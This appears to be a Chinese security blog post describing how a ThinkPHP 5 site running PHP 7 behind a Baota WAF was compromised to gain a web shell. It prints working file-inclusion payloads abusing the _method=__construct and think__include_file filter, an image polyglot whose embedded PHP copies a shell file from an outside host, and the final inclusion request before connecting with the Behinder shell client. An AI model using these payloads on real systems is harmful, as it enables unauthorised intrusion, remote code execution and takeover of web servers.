【奇思淫技】TP5最新getshell漏洞
- 2019 年 10 月 6 日
- 筆記
0X00 基本環境
確定目標存在tp5的漏洞,經過後期的探測發現安裝有寶塔WAF。
基本環境為:php7 + 寶塔waf
因為php7之後基本確定捨棄了函數assert(),因此有關於assert的所有payload全部失效!!! 雖然網上有很多關於tp5+php7的文章,但是我嘗試之後全部失敗。
0x01 另闢蹊徑
因為之前payload所顯示的phpinfo不全,那我們換一種方式!
得出關鍵信息:
disable_functions:
passthru,
exec,
system,
chroot,chgrp,
chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,
readlink,
symlink,popepassthru
得出關鍵信息:
網站絕對路徑:/www/wwwroot/site
過程不多說!老規矩!
文件包含,payload: _method=__construct&method=get&filter[]=think__include_file&server[]=phpinfo&get[]=/www/wwwroot/site/public/robots.txt
正好找到了該站的編輯器。(ueditor默認路徑) 那麼我們現在只需要構造包含內容即可。
GIF98a
<?php phpinfo(); ?>
<?php copy("http://url/shell.txt","test.php");?>
添加phpinfo是為了看代碼是否正確的執行了,但如果你有自信認為一定成功,那隨意。
上傳圖片,得到路徑。
繼續。
payload:
_method=__construct&filter[]=think__include_file&get[]=/www/wwwroot/site/public/upload/20190322/c627cb130d82cb2f9c5bf4575850cf79.jpg&method=get&server[]=
注意:路徑一定要正確!!!
冰蠍連接shell。
收工。
作者:曲雲傑
來源:Ms08067安全實驗室